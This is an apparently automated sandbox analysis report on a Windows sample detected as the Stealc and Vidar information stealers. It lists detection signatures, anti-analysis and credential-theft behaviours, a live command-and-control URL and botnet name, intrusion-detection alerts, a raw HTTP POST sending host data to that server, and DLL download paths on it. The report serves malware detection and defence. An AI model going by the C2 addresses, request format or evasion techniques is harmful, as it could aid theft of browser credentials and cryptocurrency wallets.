Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542042
MD5:	edc30dffb34dc9331c81136d7d089faf
SHA1:	4a4aa8d3580d431cb7d2feef62dfeb7c617de083
SHA256:	9cfa0923a6863f09864ff69fd9e62262cc8159baa763150e364042f2e05f589f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4420 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EDC30DFFB34DC9331C81136D7D089FAF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2139807080.0000000005360000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4420	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4420	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.file.exe.e20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:06.812420+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49712	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:06.805566+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:07.104138+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:08.426361+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:07.177412+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49712	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:06.518244+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T13:50:08.711806+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:17.874215+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:19.641359+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:20.690643+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:21.536458+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:23.954810+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP
2024-10-25T13:50:24.914242+0200	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 39 45 39 32 35 44 30 42 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"4B9E925D0BAE1301979414------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"doma------DGHIECGCBKFHIEBGHDBK--

Source: file.exe, 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll:
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll~
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001832000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlld
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllr
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCoinomi
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN=
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpXZ
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpata
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpj=c
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnfigOverlay
Source: file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000001.00000002.2412996854.0000000001848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json
Source: file.exe, 00000001.00000002.2412996854.00000000017EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.372
Source: file.exe, 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2441884254.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2430712673.000000001DAC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: GDBAKEGI.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: GDBAKEGI.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GDBAKEGI.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000002.2412996854.000000000186A000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGI.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GDBAKEGI.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GDBAKEGI.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://www.mozilla.org#
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: DBKKKEHDHCBFIEBFBGIDGHJJJD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.2436308273.0000000029A56000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHIIIECBGCAKFIJ.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CB3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	1_2_6CB3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CB3B910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CADF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CADF280

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F3150	1_2_011F3150
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_010C59A7	1_2_010C59A7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011BC05B	1_2_011BC05B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011E405C	1_2_011E405C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_010B584C	1_2_010B584C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011E2B58	1_2_011E2B58
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011EABA4	1_2_011EABA4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011EF206	1_2_011EF206
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_010FDAAC	1_2_010FDAAC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011E5AD2	1_2_011E5AD2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011E940D	1_2_011E940D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011EFC24	1_2_011EFC24
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0111CCA1	1_2_0111CCA1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011D64F4	1_2_011D64F4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_010DDF81	1_2_010DDF81
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0118E7BA	1_2_0118E7BA
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011DAE95	1_2_011DAE95
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011F16DF	1_2_011F16DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_011EC6C4	1_2_011EC6C4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAD35A0	1_2_6CAD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB334A0	1_2_6CB334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB3C4A0	1_2_6CB3C4A0
